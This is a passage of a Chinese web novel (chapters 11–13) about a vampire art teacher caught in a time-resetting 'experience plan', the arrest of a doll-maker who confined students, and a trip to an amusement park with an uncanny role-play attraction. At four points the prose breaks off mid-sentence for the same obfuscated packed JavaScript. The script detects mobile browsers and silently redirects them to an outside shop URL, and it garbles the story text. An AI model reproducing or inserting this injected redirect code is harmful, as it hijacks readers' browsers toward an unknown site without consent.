魅魔本能地扣住了探进胸腔的利器——吸血鬼这一种族能在他们需要时变得坚硬又锋利的指爪，甚至身高上存在的差异恰到好处地为霜白语的出手带来了便利——他的目光寸寸下移，似乎还没从突然的这么一出意外中反应过来。 最先映入霜白语眼中的并不是凛华的惊诧，而是遍布整个厅室的红色警告标志。 已经消失许久的、强制要求他执行任务的空气墙再次出现。 像是对某个存在血条骤降到无限接近零这件事不满，在一众血红三角标的超级噪音警告声里，霜白语的意识越来越模糊，视野所能囊括的东西越来越少，浓密的黑色浪潮正铺天盖地倾轧而来。 本来以为他会就此断片提前下班，结果这计划直接重置了现实的时间轴。 古老的钟摆一声长鸣，循着浪潮展翅的白鸟，随风飘散的细沙。一系列毫无逻辑的景象在象征时间的长轴上倒退，直至卡回到已经发生过的某个槽口，飞速倒退的齿轮猛的顿住，而后重新按部就班地向前。 霜白语缓慢地眨动着双眼，能听清血液在皮下流动的声响，以及不远处正侃侃而谈的少女。 这是直接把他带回到了跟游香在展厅对峙的节点。 该死的体验计划，这么黑心的吗？主角便当了就直接换啊，搞什么进度重置。 但这和游戏里根据选择会衍生出不同支线的发展不同，并非只是简单的时间回溯，细节上发生了变化，像是重置不到位自动进行了修正。 姑且把凛华重伤他、又反过来被他重伤的时间线称为一周目，当时对方没在一层通往二层的平台间做任何停留，大咧咧携带着人偶出场，又在人偶攀咬上霜白语的瞬间实现成功突袭。 彼此皆重伤濒死的状态触发了回溯，重启后的节点同样也是现在正序的时间轴。 霜白语直觉他隐约有了那么一点头绪。 关于时间回溯的触发机制，是因为凛华濒死还是他？体验计划幕后的操作者在其中又扮演了什么角色？ 想要理清这点，他还需要更多信息证明。 他掩去眸中深色，重新看向面前的两个人，“你还是这么喜欢偷换概念。” 霜白语纠正凛华为游香作辩解的用词。 “再怎么说，这也是一场针对我的、蓄谋已久的围猎计划，我又不是逆来顺受的性格，有人明晃晃地朝我亮刀子，我这么做也不过是保证自己的人身安全不受威胁，怎么就成我逼迫了？” 他说着，目光掠过凛华的脖颈。 “哦，差点忘了。” 凛华眼皮一跳，感觉霜白语轻飘飘的语气背后，要出口的话不会中听到哪去。 “你才是那条心甘情愿被套住脖子的狗啊。” 那副假惺惺的模样几乎有些挂不住，凛华嘴角绷紧，很做作地露出了个受伤的表情，而像是为了让他的行为更有说服力，他默默走向一边，重新将主舞台留给对峙了许久的两个人。 窸窸窣窣的摩挲声每间隔两三秒就会响起，好似蛇类爬行过沙面的动静，一边警惕一边伺机而动。 最初的意图被制止后，游香并没有放弃她的打算。 那些遍布在一层各处的人偶正不着痕迹地朝着二楼走来，她当然不会天真地以为凛华是来帮她的，这个非人生物只是恶劣平等地干扰着别人的计划，不管他图什么，都不可以阻止霜习老师成为她的人偶。 霜白语隐在发间的耳朵微动，现在都不需要他特地看，单是这点不寻常的响声足以说明游香还没放弃她的打算。 好执着一人，难怪能制作出这么多个风格各异的人偶。 不过算算时间，也差不多到专业人士登场的时候了。 他看向游香的目光不带任何情绪，平淡地陈述着一个事实，“今天的剧目确实很精彩，有来有往的，没有辜负我的期望，算是共同努力的结果了。所以作为嘉奖，我也给你准备了一份礼物，希望你能喜欢。” 几乎紧挨着霜白语话音落下，踢踢踏踏好几重脚步声从大厅一直到楼梯间，偶尔会夹杂一两声讨论——混乱过去后，还是有一些参观展子的学生在。 他们目睹着校长和几位领导带着明显不是学校职工的人接二连三到来，这群人穿过大厅，目的明确地去往楼梯间。 “怎么回事啊？感觉很严肃的样子。” “我们要不要跟上去看看，楼上都有谁在啊。” “还是不凑这个热闹了吧，话说回来，刚刚不知怎么回事，我做梦梦见游香的人偶能跑会跳还攻击追赶我们，吓死了，是特别真实那种感觉，但就发生逻辑而言又是梦里才会有的无厘头发展。” “诶？？！你等会，我也做了这个梦，难不成是真的？” “那我们……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405188|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不等商量出个所以然，楼上骤然响起的惊叫声给他们的讨论画上了终止符。 “是你！你报的警！我对你那么好，你就是这么回报我的！！” 游香一改先前的平静，血丝充盈双眼眼白，她愤怒地张口谩骂，却挣脱不掉左右两边紧抓着她胳膊的便衣，只能指挥着仅存的那一个人偶扑向被人群簇拥着的万淑，还没近身，被就在一边的凛华顺手抓握进手里。 人群中的万淑面色肉眼可见的惨白憔悴，她半睁着的眼微微失焦，没了往常面向游香和她人偶时浓烈炽热的情绪，在游香怒骂和人偶前扑的刺激下，她发出一声惊叫，猛地朝旁边躲去，刚好站在了霜白语身后。 青年微微叹气，任由万淑像抓一根救命稻草似的抓住自己衣袖。 游香目眦欲裂地瞧着这一幕，身躯因愤怒而不住颤抖，她又想起几分钟前到来的这些人罗列她罪证的可憎模样。 “游香女士，我们合理怀疑你非法拘禁未成年人……” “闭嘴闭嘴！！说什么非法！！他们都是自愿的，是他们自己说喜欢我的人偶！既然喜欢为什么不能接受跟我的人偶永远在一起！” “她……是她，学校的人失踪有她参与其中。”万淑嚅嗫着嘴唇，细如蚊吟地说着。 明明那之前游香不是这样的，一切都在她发现人偶的秘密后变得陌生，游香把她关进了小黑屋，和她的人偶放在一起，黑暗环境放大了除视觉以外的所有感官，但具体的过程她记不太清了。 只有霜习老师的那句话变得无比清晰，隔着屏幕看和线下真实接触确实是截然不同的两种感觉。 “游香……你不该一错再错下去的，我这都是为了……” 万淑的话卡在喉咙口戛然而止，她看清了游香注视着她的眼神，毫无情感到像在看一个死人。 在被带走擦肩而过时，她甚至不敢抬头看人一眼。 许久，等脚步声和骚乱声都逐渐远去，万淑感觉自己的手背由人轻拍两下，她触电般松开手，听见霜习老师说了句“回去睡一觉，忘掉它，一切都会好起来的”。 她歇了寻求别人肯定自己这一做法的心思，浑浑噩噩地跟着下了楼。 靠墙站着的凛华侧眸看向霜白语，对方恰巧也正打量着他，有很短暂的时间，目光穿透他，径直陷入了自己的思绪中。 霜白语复盘着这一出闹剧，他真正出力的地方，只在给万淑被关的小黑屋解了锁，至于后续这一系列发展，全是万淑自己做出的选择。 简单来说，游香这次翻车说到底是她玩弄人心结的恶果。 至于对方针对他这事，还得追溯到司事那句形似收网的话。 霜白语自认没那么大魅力，能被八杆子打不到边的教堂司事盯上，在碰见凛华之前，或者说在这个所谓的体验计划之前，他一直有在规规矩矩地融入普通人类的生活。 扮演着学院美术老师的身份，课表排到他时，来学校露个脸签个到，因为授课内容的特殊性，霜白语跟别的老师几乎没什么交集，处理完日常工作就按时下班，和寻常社畜没有任何区别。 那怎么就被盯上了？ 除了那些个巴不得他噶在外头的老东西不做他想。 原本只是猜测，真正让霜白语彻底确定两者间存在过联系，是司事用来对付他的手段。 普通人能对血族造成伤害的可能性微乎其微，但自己人搞小动作就不一样了。 而提到那些烦人精，又不得不回归到当前状态中。 霜白语凝实的目光重新有了落点。 视角中心，少年形态的魅魔漫不经心地牵起嘴角，“怎么办呢，霜习老师，兜兜转转一大圈，真正想解决的麻烦依旧跟着你。” 11. 新的地图 真喜欢往自己脸上贴金，你并没有这么重要谢谢。霜白语腹诽。 “那你替我想想，怎么解决真正的大麻烦。” 但一直放任着确实很麻烦。 尤其现在光是多看凛华一眼就幻痛，当时仿佛直接灵魂的感觉他实在不想体验第二次。 凛华闻言瞬间来劲，他站直了身，像是寻求肯定似的点了点自己，“真心问我吗？那当然是给够想要的啊，情绪价值物质保障这些都是最基本的，当然后面那一项你做得非常到位。” 他顿了顿，做出像是在思考的模样。 “再者就是，游戏本来就要两个人玩才有趣嘛。” 他热情高涨地叙述着，嘴角保持上扬状态，少年体凛华的眼型饱满圆润，这让他即使做着一些夸张的神态，都不会显得违和，但他的眼中没有笑意。 瞳色偏浅的双眸完完本本地囊括入近前的霜白语，像玻璃珠上倒映出的微缩成像，只是这样瞧着，透出与说话语调割裂感极强的无情。 霜白语细想彼此这一路的相处，毫无疑问，直至现在他仍然觉得对方跟自己背后爱搞事的家族成员有关，因为凛华有把柄落在他们手上，非常致命且紧要的那种把柄，与主观意愿无关，迫使他不得不来到这里。 为了宣泄不满，凛华有在处处给自己找不愉快，但每次要说对方有多过分、冲着必须要他死的目的，其实并没有。 凛华像是更注重表现存在感，有那么点展示该事件有他参与的意思，无关紧要的边缘人，在整个环节中可有可无，就拿这次的事件来说，和他全然无关吗？ 并没有。霜白语想，对方套用了他的壳子，跟万淑的一番交谈促成了她去跟游香交好。但要说这占据了整个事件的多少比重，其实也没有，就算不是万淑，也可能会有别人，主要矛盾点在游香身上，她的恶意会随着一个个人偶的诞生而扩大，同时又反过来激起了她的占有欲。 表面看因为现在游香被相关人员带走，失踪的学生们也被找到，这件事暂时画上了句号，相关方完成了自己的职责。而事件背后，给游香提供助力的那个司事身后站着见不得霜白语好过的家族成员。 就他目前掌握的信息，凛华并未直接参与其中，他只是很碰巧的、也可能是有意，在霜白语受伤时出现，看完笑话再假惺惺地表达自己的关心。 当然，这不代表凛华就是什么好东西。 霜白语明白温水煮青蛙的道理，对方极大概率在试探自己是否好糊弄，再根据接触下来的情况做决定，指不定哪天会冷不丁地给他来上一刀。 而且他还得弄明白，那个分不清是不是时间夹缝的位面发生的究竟是怎么一回事。所以目前看来，凛华还有用，提防一个目的不纯的角色最好的方法，确实是把他留在不近不远刚刚好的范围内，既能知晓对方的动向，也留有足够的应对时间。 打定主意的霜白语朝人摊开白净的手掌。 凛华很短暂的一愣，面露疑惑地眼神询问，没得到饲主正面的眼神交流，他犹豫着把手放了上去。 啪的一声，他覆上去的手被无情地一巴掌打掉。 “你说得没错，游戏确实得两个人才好玩。” 霜白语面不改色地甩了甩拍痛的手指，心想着用力角度不对就是麻烦，丢下一句话头也不回地往楼下走，边走边提醒没跟上来的凛华。 “走了，接下去很长一段时间都适合躺着休息。” 他预估的没错，游香这件事让圣欣高校的论坛短时间内充斥着各种风向的帖子，除了当时在场的人被要求三缄其口选择当不知道以外，活跃的大部分人其实并没有亲临现场，只是他们上下嘴皮一碰张口就来，传得有模有样，一时间学校风声鹤唳，论坛管理员连夜删帖都赶不及，只好让程序员加班加点地改代码让论坛处于无法访问的状态。 被拦在外面的人找不到地方发表言论，只好线下逮着机会逢人就说。学校没有办法，最终决定给大家放一段时间的假，有空余时间多专注自己的事，别再说一些似是而非的假消息迷惑别人。 而霜白语这边，由于是在他的个人展上闹大的事情，虽然校方没有让他递交辞职信的意思，但给他额外批了假期，希望他多休息休息，转换心情，早点从这场无妄之灾导致的糟糕情绪中走出来。 霜白语表现得非常配合。 通知下来的当天晚上，他就订好了出去旅游的机票。 “没有我的吗？” 凛华脑袋凑到人手机前，对着那张单人票表示了自己真切的疑惑。 霜白语一手叉起果盘里的菠萝切片，手背抵着身前这颗碍事的脑袋用力推去一边。 “有你什么事你就问问问，再说了你有身份证么就起哄。” 以他对此魅魔的观察，大概率是没有个人信息卡的黑户，毕竟对方瞧着不务正业，每天顶着一副维持不了成年体的壳子四处乱晃。退一万步讲，就算凛华真的有，也没法在这个世界使用，通行认可机构不互通。 “一位合格的饲主应当包揽一切大小事务，当然也包括宠物的日常出行。” 凛华言辞凿凿，丝毫不觉得这要求有任何不妥。 霜白语往嘴里塞了个小番茄，闻言冷笑一声。他倾转眼瞳往下看了眼，没什么情绪地开口，“行，那等我旅游回来给宠物医院打电话预约一下绝育套餐。” “你知道的，恶魔严格来说没有性别。” “那正好，留着也没用。” “我觉得这件事还有待商榷，人在冲动上头的时候做出来的决定百分之百都是不理智的。”凛华坐回原位，捞起手机当自己不存在，“对了，你要去的地方是哪里？” 霜白语报了个地点，端起空了的盘子转头去了开放式厨房，“我外出度假期间随便你去哪，别走到我脸上就行。” 他的声音遥遥地从房子的那一头传来，凛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405189|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华手指划动着屏幕，没应声。 刚虽然只匆匆瞥了一眼，但霜白语并没有在目的地上面有所隐瞒，他瞧着大洋彼岸的终点站，眉毛小弧度地向上抬了抬。 是个小镇啊，刚好那里有处还算有趣的游玩景点。 霜白语坐的红眼航班，隔着时差落地又是一个晚上。好在他身为夜猫子一员适应良好，在提前预约好的民俗整顿完毕，霜白语窝在露天阳台的编藤吊椅中欣赏夜景，顺带着点开视频监控找某人行踪。 意料之中没有。 虽然凛华问他地点的时候他就知晓，对方不会老实待着，但只要不在暗地里使阴招，随便他来不来，就算走水路自助都不打紧。 霜白语脚尖点着地面，很缓慢地转动吊椅，点开平板临时搜索这附近有名的旅游景点，既然都出来放松心情了，当然不会有提前做攻略这种事，而且现在网上的打卡点都不可信，国内国外都容易出照骗，不如他实地实际看中哪个算哪个。 被霜白语短暂想起的凛华正从港口码头往城市方向走，成排放置的集装箱硬是将这处并不复杂的路面塑造成有做迷宫的潜能，他还得顺势躲开巡逻的保安，虽然他并没有任何不妥当的行为，但规避不必要的交流总是最优解。 霜白语毕竟是临时起意决定的外出，没工夫做旅游攻略，而要说这座城市有哪里值得体验，那就少不了西区的游乐场。 游乐场。 看着搜索结果跳出来推荐最多的这个地点，霜白语有点意外，毕竟刻板印象里的这种地方，大多是面向小孩子开放。 他翻着网友上传的照片，并没有看出多少不同于寻常游乐场的设备，但好评一致都是物超所值的体验，全年龄向景点值得一探究竟之类的，即使是为数不多的几个差评，点出的也只是人流量太大影响观感，而并非游乐场本身。 既然如此，霜白语退出界面，反正闲着也是闲着，他就把这当作放松项目的第一站好了。 第二天一早是小镇难得的一个晴天，只是天空瞧着仍然有些雾蒙蒙。 灰色的观感在抵达游乐场时，有了更强烈的体现。 霜白语望一眼门口看不到头的排队人群，对当地民众超级推荐的知名旅游景点产生了莫名其妙的敬畏心理。 一个地点机缘巧合下突然爆火，当地人可能是第一批赶早的人，但也不排除很多评论发表者并非土著，而现如今还在体验的应该都是慕名而来的外地游客。 排队耗费的时间不少，来玩的人大多目的明确，像霜白语这样毫无准备的是少数，票钱固定又有闭园时间，大家都会提前安排妥当，尽可能紧凑得让性价比最优。 霜白语细细打量着铺开在入口处的平面场区地图，这个游乐场的占地面积比他想象中大得多，进场后的直观体感和单纯在外面看也有区别。 他甚至觉得这地方的覆盖面积几乎赶上了小镇的全部。 会是错觉吗…… 12. 角色扮演 不管是不是错觉，来都来了，实际一探究竟比在这里靠主观感知更快。 霜白语找工作人员兑换了一份纸质地图作备用，按他的脚程，考虑到外在因素，排队等待耗费的时间，开园的这一天时间肯定无法体验所有的项目。 他优先剔除掉了更累双脚离地的腾空项目，需要系安全带固定在座椅上的项目，有搭乘固定路线的交通工具才能体验的项目。 这几个的共同在于人多眼杂，关注度高，或者空间有限，突然表演个凭空消失或者闪现的容易吓到人。 这样几下缩减，霜白语一天走完游乐场的计划有了实现的可能。 他迈步往人群聚集的地方而去。 而在他身后，路过的区域好似泛起水波纹那般晃动了两下，几不可查地倾倒了时空。 霜白语往前走的脚步一顿，他倾身朝旁边看去，和游乐场画风非常不统一的涂鸦告示牌，并非景点那种每隔一段距离出现的路标箭头指示，上面很简单地画了两个哭闹的小人。 两个小人各自分出一只手前者彼此，另一只手擦着眼角，表情是如出一辙的哭脸。 他后退着走了几步，再看告示牌上的简笔人，感觉它们的神态有了细微的变化。 像是为了作更多的验证试验，霜白语不动声色地回到原位，先前有所回收的哭脸又变得明显起来。 而且—— 他浅吸小口气，余光略过不远处的红墙，又出现了，距离上一次并不算远的时间节点，但这和展厅重伤凛华那次比并不同，更接近最初强行要求他走任务时候的墙体。 看来告示牌后面接续的这条路是必须要走的了。 霜白语放弃了走反方向，绕过有两个牵手小人的涂鸦告示牌，即将越过时，他用余光扫了眼，简笔人不再哭丧着脸，大大的笑痕绽开在脸上，连带着两人的头顶出现了彩虹背景。 更诡异了好嘛。 霜白语收回视线，往这条通往未知领域的路尽头走去。 最开始进游乐场时见到的设施都还是很寻常，符合普罗大众爱玩的项目。 同时也确实像网上评论的那样，是个全龄向的地方，退休老人适合的项目是全景演出，身临其境的互动式表演，剧目还都是比较知名的老作品翻拍。 有几部作品太接近东方审美，甚至让霜白语产生一种自己并没有出国的错觉。 他在欣赏完又一出剧目后，一边听着年长好几十岁的老人给演员和演绎剧情做点评，一边很小心地超过他们，沿着连接向出口的安全通道走。 也是从这一出小型剧院出来没过多久，霜白语碰巧在岔路口往人相对少的那条路走了。 远离的另外那边是花团锦簇的拱形环廊构成的通道，无论远景抑或是近景都非常漂亮，打卡留念的人群很多。 他并没有社恐之类的症状，单纯不想成为别人镜头中的一部分。 谁能想到啊。 麻烦隐藏在人迹相对少的地方。 不过就算再来一次，霜白语的选择还是同样。 他心底默数着自走过涂鸦告示牌后的步数，靠双脚丈量出来的距离比想象中远的多，这条路并没有实际看上来这么短。 这都能遇上鬼打墙吗？ 霜白语心想自己以前运气也不至于这么差劲的。 而且，他回头看向来时路，最开始在岔路口选择往右走时，他周围零零散散仍然有不少人，包括一直到看见那块告示牌，距离他几步开外还分布着三三两两的其他游客。 霜白语甚至没有注意到其他人何时消失不见，这并不正常，只有完全沉浸在某件事中，才会感知不到周围的变化。 可是在他留意到涂鸦小人会因为选择目的地不同而变化表情时，霜白语已经打起了十二分精神，始终留意着身边的怪异之处，那些变化不在潜移默化中，但是瞬间改变的状态。 好比，玩游戏时选择了某种设定，点击确认的瞬间，状态已经附加其上。 他的意识像被刻意模糊化了。 相差较大的两者之间没有互相靠近的过程，是直接出现的东西。 雪青色双眸落向道路两旁的风景。 霜白语清晰地意识到，在他认知到了一种情况后，它被不加掩饰地表现出来。黑漆漆的乌鸦睁着血色不详的眼睛——更倾向吸血鬼这一种族动用能力时会自动变色的情况，凝望着路中间唯一的外来者。 起初就这么一只。 霜白语往前迈开的右脚落到了实处，原本停驻在漆黑电线上的乌鸦骤然增加到了五只。 左脚跟着前踏了下一步。 成群的乌鸦站在孤零零的那一根电线上。 它们动作统一地观望着霜白语。 乌鸦的数量没有再增长，就目前看来，它们没有攻击的前兆或者意图，只是起到了气氛组的作用。 霜白语皱了皱眉，掏出口袋里的纸质地图，在上面寻找着按照刚才的路线走向的地方。 乌鸦的目光有如实质地落在他身上，霜白语额角凝起汗珠，在鬓边蓄作一滴，缓缓淌落而下，他视线看向的终点是一片空白。 娱乐项目的地图更新迭代的速度虽然比不上报纸，但最初规划好的项目不会有大的改动，实际就算有变化，再贩时也会更新。 霜白语手头拿到的这一份也不例外，但地图上确确实实的，没有记录任何建筑。 他收起这被迫失效的地图，叹息似的呼出一口气，抬眼注视着面前不知何时出现的建筑物入口处的几个烫金大字。 角色扮演。 还是沉浸式真人互动体验的那种。 霜白语内心很短暂地冒起一丝抗拒，怎么说呢，他现在看不得体验这两个字，上一次接触到的结果是把他直接送走了，送到了这个说不清道不明的世界。 他虽然爱看演出，但只限于观看别人演出，就算是沉浸式也必须剔除掉他作为主体这一关键要素。 黑黢黢一片的入口就在跟前，红墙始终在不远不近的地方阻拦着，放在霜白语面前的显然只有一个选择。 除了进去没有别的可能。 身为游乐园场区内不存在的地方，它倒是贴心地遵循着游乐场每个项目必有的规则，在入口旁边醒目地挂上了游客须知指南。 入园须知： -本项目无人售票，请前来体验的游客自检，必须满足已达十八周岁的前置年龄要求，如不符合，请自觉离开； -本项目属于人物类角色扮演，进入其中的游客请降低对己身身份的认知度； -进场后请不要漫无目的地闲逛，请按要求优先寻找一对八、九岁的双胞胎女孩，她们是本次人物本的主角； -请看清以上几点的游客从左手边的门口进入体验。 霜白语阅读完要求，再三确认过挂牌上的内容，又比对现实中的场景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405190|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，确信了近在眼前的是唯一入口，并没有所谓的左右区分。 从乌鸦成串出现就不对劲的场面，既然没有第二种可能，那就走一步是一步了。 踏门而入的瞬间，刺目光线直接痛击双眼，霜白语聊胜于无地抬手挡在眼前，过盛的光芒逐渐消散，人声率先充盈双耳。 霜白语眨动着酸涩的眼睛，缓缓抬眸望出去。 串连成线的纸风车正迎着风飞速旋转，来来往往的人自老式的商业店铺前穿梭而过，公共汽车载着一厢的人慢腾腾地起步，挪位后露出的站台边立着低头查看手机信息的年轻人。 与游乐场氛围截然不同的景色。 霜白语猛地回头看去，身后并没有任何供人穿行的门。 嗯…… 他开始思考。 既然都有离谱的体验计划捎着他转换时空在前了，这种设定出现一定有它的逻辑在。 他放弃了思考。 现在该想想怎么找须知上提到的双胞胎姐妹。 原先假设的‘有限空间、限定人数，逐一作排除’的方法在当下开放式的场景中已经完全不可行。 几乎在这个念头生成的下一秒。 霜白语望出去的视界里出现了一对双胞胎，只在发型和颜色上作出区别的两姐妹正往邮筒中投递信件。 ——他确定一定以及肯定，刚刚那里没有相关设施。 但再看见那一对姐妹时，无比强烈的直觉驱使他往前。 那念头不停地鞭笞着，就是她们，快上前搭话，这样你就可以离开这鬼地方啦！ 霜白语绷紧了全身的肌肉，动用一切意志力对抗这突兀占据他脑海的可疑想法，但是没有用，他第一次觉得这副身躯如此陌生，眼睁睁瞧着自己穿过街道，站定在距离两人不到半米远的地方。 霜白语听见自己开口询问：“打扰了，两位可爱的小姐，我有个请求需要你们的帮助。” 蓝眼睛卷曲头发的女孩子眨眨眼，不明所以地歪了歪脑袋。 “我迷路了，希望你们可以帮我一点小忙，告诉我警察局该怎么走。” 霜白语并不认为对方会搭理一个陌生人的请求，尤其他试着代入了她俩的视角，过分明显刻意的搭话。 “你是来旅游的吗？没有带地图吗？”另一个女孩子反过来问他。 在霜白语回答前，她们弯起双眼笑着给出了肯定。 “不用紧张，当然可以，因为——” “你、找、到、了、我、们。” 尖锐的啸音穿透耳膜，霜白语感觉自己陷入了短暂的失聪状态。 但他就是读懂了面前双胞胎一字一顿道出的话语，这也成为了他断片前的最后记忆。 世界像老旧的黑白电视机，一线白光乍闪后，屏幕骤然一黑。 “嘿朋友。” 一道音量拔高的声音唤回了霜白语，他维持着当前的姿势愣了下。 周围的景象似剥去的那一层糖纸，从外及内更替为全新的模样。 霜白语指尖刚好抵着检票员撕去票根后递来的纸质票，兴许是犹豫的时间有些久了，在他身后排队等候的人忍不住催促。 他晃了晃神，也没多想，自然地接过票，走向半包式走廊时顺便看向这上面的内容。 文字细小好在占据篇幅不多，是一个沉浸式体验的人物本，进入其中的游客需要寻找一对八、九岁的双胞胎。 13. 送货上门 这要求听上去不难，既然是人物本，之后正式进入前会给到具体的前置故事背景，一方面是为了方便玩家进入状态，另一方面有助于摸清故事前因后果，保证扮演不至于脱离人设。 类似国内的剧本杀。 有专人引导讲解故事情节，分配给拿了此次人物本的游客相关角色，再根据提示推动剧情发展，最终成功找到故事主人公，拯救或者帮助他们达成结局。 以上说的这些，在这里统统都是没有的。 霜白语抬头望天。 鹰隼振翅高翔于天空，迅速地掠过游乐场，阳光将它的身影拓作小小的一个圆点，带着些微的滞后穿透地面上的一众人群。 竟然是在全开放式的地图里找人吗？右上角没有事件详情可以点开的吗？没有自动寻路吗？ 怎么找，纯靠运气吗？ 霜白语默然。 这是不是太没有逻辑了一点，难度不至于一开始就上这么高吧。 霜白语就这般纠结，站在路边观望整个环境的模样非常醒目。 “嘿，刚刚招呼过的这位朋友，你看起来很苦恼，需要加入我们吗？” 来的人身形高大，一头姜黄色发，湛蓝的眼眸清澈似澄空，他开口说话时自带爽朗音效，一副跟谁都能聊上两句的模样。 霜白语没作声，目光不动声色地瞄向他身后的几个人，彼此站位不紧密，保持着一种比陌生人稍近但远不到朋友关系的距离，合理怀疑是这人一路搭话组成的临时队伍。 注意到霜白语视线落点，察觉到他明显的警惕，男人后知后觉地摸了摸后脑勺，朝他伸出手并且自我介绍。 “瞧我又忘了基本的社交礼貌，有求于人时需要先自我介绍。我叫文，后面的几位朋友确实是我刚路上碰到，临时组建起来的，我想着既然目的相同，多几个人也就多个照应嘛。” 霜白语浅浅地回握住对方伸来的手，“霜羽。” “那关于我刚才的提议？”文晃了晃对方的手，又在恰到好处的时机松开了。 “当然没问题。” 话虽如此，刚才在介绍的时候，文后边的那几个人明显没有主动搭话的意思，加入队伍的先后时间不同相当微妙，会让信息差无形存在，后加入的人不自觉地暴露了更多信息，交流本身并不等价。 他在打量别人的同时也在被他们衡量着价值，这在没有更多信息的环境下更容易成为被优先推出去的那一个。 不过，正如霜白语先前提到的，他是个小号马甲遍地走的人。 人脑又不是信息化时代的人工智能，不可能单看一眼就瞧出不对劲，即便他们真有渠道查阅信息，也不会发现任何问题，小号是他本人的一部分，半真半假不算欺骗。 烫金色的球体高高悬挂在头顶，炽热的光线让温度节节攀升，在遥远的天边，能依稀看到一丝摩天轮的影子，成团状的白云被勾勒出明显的边界线，静静地叠在那座圆形建筑身后充当背景。 临时组成的队伍并没有明确目的地扩宽着地图的探索度，和来这片场区游玩的人群擦肩而过，一时无法从中区分出是否有和他们一样接受了寻找任务的游客。 “霜，你对此有什么想法吗？” 文在花坛边停下了脚步，他拧着摊位上买来的冰镇水，粗犷的手臂上攀缠着走向分明的青筋。 两眼一抹黑时，很多尝试都需要人命去填补，现在这个局面便是很好的一个例子。 这就是他的想法，霜白语知道文的队伍里很多人抱着同样的观点，只是现在还没有真正降临无解的困境，维持着一种表面平和罢了。 “先从任务本身出发吧，寻找八、九岁的双胞胎姐妹，任务给出了目标的年龄和性别以及称得上无效的长相信息，看起来像是唯一的切入点。” 霜白语侧头看了眼边上无声打量着他的一男一女，两人的眉头微微皱起，双臂交叠横亘在身前，站立的姿势重心偏移，是明显持观望但不赞同的肢体表现。 他继续说着自己的推断，“但比起线索，这听起来更像是陷阱。” 文若有所思。 “你是说故意把我们往这方面带，因为这是给到的唯一线索，很难有人不以这个为出发点思考，而一旦真得如此，就正中剧本制作者的下怀了？” “如果真是这样，我们也做不出反推，去掉这给到的依据更加无从下手了。” “是啊，再说了要是剧本设计方本身就考虑到了这点，反过来利用设计一个不以这为基础出发做任务就必死的局呢。” “文，作为发起组队的人，你来决定呗，接下去要怎么做，不然这临时的队伍没有任何意义，组不组的都是摆设。” 其他的人你一言我一语的开口，各持说辞。 确实是这个道理，没法说谁绝对正确或者错误，缺少任何靠谱依据，再多么符合逻辑的推断都只不过是推断而已。 “那这样，”文掌心向下压了压，示意大家稍安勿躁，“我们胜在人数还算多，既然先前都同意加入队伍，说明大家认可合作能更好地获得收益。” 他湛蓝色的眼眸环视一圈，将面前几人的反应看在眼中，见没人明确表示反对，他接着说了下去，“以我们不远处那个喷泉为中心，半径一百米的范围，两两组队去搜集信息，有任何你们觉得看上去不对的地方——无论是拍照或者别的方式——先记录下来，实在特殊的联系就近的组员过去一起研究，在两小时后回到这边集合。” “可以，我没意见。” “听起来能行，可以试试。” 其他没发言的也没明说拒绝，都一概当成默认。 至于组队。 霜白语目光扫过周围，不幸地意识到他似乎在无形中被孤立了，他们这个队伍整体人数是单，总有一个会落单，三个人又显得冗余。 文似乎也感觉到了这点，他看向霜白语，无声询问着他。 霜白语轻耸肩膀，“没关系，我本身也更习惯一个人行动。” “那先这样，到时候有问题我们线上联系。” 两两组队的人各自分散，重新混入了人群之中，霜白语独自站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405191|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在原地许久，微眯起双眼。 人潮熙熙攘攘，有什么穿过重重人流，目标明确地直击他后脑。 啪。 向后的肘击被偷袭者一把扣住。 有所预料的霜白语扭转身体，脚下动作猛踹向对方。 “嘶……” 来人倒抽一口凉气，松开了抓着霜白语胳膊的手，原地跳脚地蹦了那么两下。 “下手好重啊，哥哥。” 一头凌乱的白毛随着风缓缓飘扬，此人用俏生生的嗓音道出了控诉，瞧向霜白语的眼神满含着幽怨。 